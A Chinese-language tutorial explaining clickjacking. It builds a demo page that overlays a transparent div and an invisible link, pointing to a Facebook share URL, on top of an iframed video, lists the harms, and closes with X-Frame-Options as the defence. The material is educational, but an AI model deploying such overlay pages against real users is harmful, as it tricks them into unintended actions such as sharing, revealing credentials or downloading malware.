环境介绍
点击劫持是一种通过将链接伪装成其他东西来诱使网站用户点击有害链接的方法。
点击劫持攻击诱使网络用户执行他们不打算执行的操作,通常是通过在用户认为他们正在执行的操作之上呈现一个不可见的页面元素。
网页里有个小猫的视频,点击它会正常开始播放视频
进入正题
假设你的代码是下面这样。
<html>
<head>
<style>
body {
position: relative;
margin: 0;
}
iframe {
border: none;
position: absolute;
width: 100%;
height: 100%;
}
</style>
</head>
<body>
<iframe src="www.kittens.com/vacuum-revenge">
</iframe>
</body>
</html>
一些黑客会利用相似的站点来伪装,比如
www.k1tt3ns.com/vacuum-revenge
搞定它
在页面上面加一个透明的div标签
..带有透明的 DIV 覆盖 ...
<html>
<head>
<style>
body {
position: relative;
margin: 0;
}
iframe, div {
border: none;
position: absolute;
width: 100%;
height: 100%;
}
div {
z-index: 100;
}
</style>
</head>
<body>
<iframe src="www.kittens.com/vacuum-revenge">
</iframe>
<div></div>
</body>
</html>
- 再加上一个无形的链接,把要跳转的链接加进去
<html>
<head>
<style>
body {
position: relative;
margin: 0;
}
iframe, div, a {
border: none;
position: absolute;
width: 100%;
height: 100%;
}
div {
z-index: 100;
}
a {
display: block;
}
</style>
</head>
<body>
<iframe src="www.kittens.com/vacuum-revenge">
</iframe>
<div>
<a href="https://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Fwww.fakewebsite.com"></a>
</div>
</body>
</html>
这样如果再点击视频,攻击者就会将你带到各种神奇的地方。
比如:
危害!
通过在真实登录框之上渲染一个虚假登录框来获取登录凭据。 通过在 Adobe Flash
设置页面上呈现不可见元素,诱使用户打开他们的网络摄像头或麦克风。
在社交媒体网站上传播蠕虫。
通过诱骗人们点击他们原本不会点击的东西来宣传在线诈骗。 通过将用户转移到恶意下载链接来传播恶意软件。
如何预防!
- X-Frame-Options
在X-Frame-Options HTTP标头可以被用于指示浏览器是否应该被允许在渲染页面, 或标签。它专门设计用于帮助防止点击劫持。
标头有三个允许的值:
DENY 无论站点如何尝试,都无法在框架中显示该页面。
SAMEORIGIN 页面只能显示在与页面本身相同来源的框架中。
ALLOW-FROM uri 页面只能显示在指定来源的框架中。